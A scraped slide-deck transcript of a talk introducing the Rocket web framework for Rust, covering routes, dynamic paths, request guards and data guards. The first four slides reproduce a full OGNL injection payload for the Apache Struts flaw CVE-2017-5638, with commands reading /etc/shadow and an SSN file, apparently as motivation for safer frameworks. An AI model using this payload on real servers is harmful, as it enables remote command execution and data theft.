sergio benitez
play

Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that - PowerPoint PPT Presentation

Sergio Benitez sb@sergio.bz Rocket is a web framework for Rust that makes it simple to write fast web applications without sacrificing flexibility or type safety. Rocket is a web framework for Rust that makes it simple to write fast web


  1. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  2. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += "(#cmd='%s')." % cmd payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  3. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /etc/shadow')." payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  4. payload = "%{(#_='multipart/form-data')." payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)." payload += "(#_memberAccess?" payload += "(#_memberAccess=#dm):" payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])." payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))." payload += "(#ognlUtil.getExcludedPackageNames().clear())." payload += "(#ognlUtil.getExcludedClasses().clear())." payload += "(#context.setMemberAccess(#dm))))." payload += “(#cmd='cat /data/all/americans/ssn.tsv').” payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))." payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))." payload += "(#p=new java.lang.ProcessBuilder(#cmds))." payload += "(#p.redirectErrorStream(true)).(#process=#p.start())." payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))." payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." payload += "(#ros.flush())}" CVE-2017-5638 ( impact 10 )

  5. Hello, World!

  6. Routes (Hello, world!) #[get("/")] 1 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4

  7. Routes (Hello, world!) 1 #[get("/")] 1 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition.

  8. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  9. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  10. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  11. Routes (Hello, world!) 1 #[get("/")] 1 2 fn hello() -> &'static str { 2 "Hello, world!" 3 } 4 1 Route Attribute: Description of matching condition. 2 Route Handler: Request processing, produces response.

  12. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Routes need to be mounted to make Rocket aware .

  13. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Ignition constructs a Rocket instance for mounting and launching.

  14. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Mounting namespaces routes according to a root path.

  15. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/hello", routes![hello]).launch(); 7 } 8 Mounting namespaces routes according to a root path.

  16. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Mounting namespaces routes according to a root path.

  17. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Launch ing starts up the server.

  18. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Launch ing starts up the server. (also prints emojis ! )

  19. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8 Launching starts up the server. (also prints emojis ! )

  20. Mounting & Launching #[get("/")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8

  21. Mounting & Launching #[get("/world")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, world!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8

  22. Mounting & Launching #[get("/sergio")] #[get("/")] 1 fn hello() -> &'static str { fn hello() -> &'static str { 2 "Hello, Sergio!" "Hello, world!" 3 } } 4 5 fn main() { 6 rocket::ignite().mount("/", routes![hello]).launch(); 7 } 8

  23. Dynamic Paths Request Guards Data Guards Typed URIs

  24. Dynamic Paths

  25. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment.

  26. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  27. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, number: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  28. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, number: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  29. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, number: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  30. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Name in <brackets> must have matching function argument.

  31. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Type of dynamic parameter is declared in handler signature. • Any type implementing FromParam is allowed.

  32. Dynamic Paths #[get("/<name>/<age>")] 1 fn hello(name: String, age: u8) -> String { 2 format!("Hello, {} year old named {}!", age, name) 3 } 4 Parameters in < brackets > match any text in segment. • Handler can only be called if FromParam conversion succeeds.

  33. Preventing Directory Traversal #[get(“/<path..>")] 1 fn files(path: PathBuf) -> Option<NamedFile> { 2 NamedFile::open(Path::new("static/").join(path)).ok() 3 } 4 Implication: handlers are only called with validated data! • FromParam * implementation for PathBuf verifies path safety.

  34. Request Guards

  35. Request Guards #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 Arbitrary number of FromRequest parameters allowed.

  36. Request Guards #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 Request guards validate incoming request, protect handlers. • Guards may fail , preventing further request processing. • Guards may forward , indicating local failure.

  37. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  38. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  39. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  40. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin")] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  41. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  42. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin")] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  43. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  44. Request Guards & Forwarding #[get("/admin")] #[get("/admin")] 1 fn admin_panel(admin: AdminUser) -> &'static str { ... } fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 3 #[get("/admin", rank = 2)] 4 fn admin_panel_user(user: User) -> &'static str { ... } 5 Forwarding: Rocket attempts colliding routes in ascending rank order.

  45. Request Guards & Forwarding #[get("/admin")] 1 #[get("/admin")] fn admin_panel(admin: AdminUser) -> &'static str { ... } 2 fn admin_panel(admin: AdminUser) -> &'static str { ... } 3 #[get("/admin", rank = 2)] 4 #[get("/admin", rank = 2)] fn admin_panel_user(user: User) -> &'static str { ... } 5 fn admin_panel_user(user: User) -> &'static str { ... } 6 #[get("/admin", rank = 3)] 7 fn admin_panel_redirect() -> Redirect { ... } 8

  46. Data Guards

  47. Parsing Form Data 1 struct Task { 2 description: String, completed: bool 3 } 4

  48. Parsing Form Data 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 #[post("/", data = "<todo>")] 6 fn new(todo: Form<Task>) -> Flash<Redirect> { 7 match todo.inner() { 8 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 9 Err(e) => Flash::error(Redirect::to("/"), e) 10 } 11 } 12

  49. Parsing Form Data 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 #[post("/", data = "<todo>")] 6 fn new(todo: Form<Task>) -> Flash<Redirect> { 7 match todo.inner() { 8 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 9 Err(e) => Flash::error(Redirect::to("/"), e) 10 } 11 } 12

  50. Parsing Form Data #[derive(FromForm)] 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 6 #[post("/", data = "<todo>")] 7 fn new(todo: Form<Task>) -> Flash<Redirect> { 8 match todo.inner() { 9 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 10 Err(e) => Flash::error(Redirect::to("/"), e) 11 } 12 } 13

  51. Parsing Form Data #[derive(FromForm)] 1 struct Task { 2 description: String, 3 completed: bool 4 } 5 6 #[post("/", data = "<todo>")] 7 fn new(todo: Form<Task>) -> Flash<Redirect> { 8 match todo.inner() { 9 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 10 Err(e) => Flash::error(Redirect::to("/"), e) 11 } 12 } 13

  52. Parsing Form Data #[post("/", data = "<todo>")] 1 fn new(todo: Form<Task>) -> Flash<Redirect> { 2 match todo.inner() { 3 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 4 Err(e) => Flash::error(Redirect::to("/"), e) 5 } 6 } 7 FromData types parse and validate body data.

  53. Parsing Form Data #[post("/", data = "<todo>")] 1 fn new(todo: Form<Task>) -> Flash<Redirect> { 2 match todo.inner() { 3 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 4 Err(e) => Flash::error(Redirect::to("/"), e) 5 } 6 } 7 FromData types parse and validate body data. • Any type implementing FromData is allowed (here, Form ). • Structure is automatically deserialized from form data.

  54. Parsing JSON Data #[post("/", data = "<todo>")] 1 fn new(todo: Json<Task>) -> Flash<Redirect> { 2 match todo.inner() { 3 Ok(task) => Flash::success(Redirect::to("/"), "Added."), 4 Err(e) => Flash::error(Redirect::to("/"), e) 5 } 6 } 7 FromData types parse and validate body data. • Any type implementing FromData is allowed (here, Json ). • Structure is automatically deserialized from JSON data.

  55. Typed URIs

Recommend


More recommend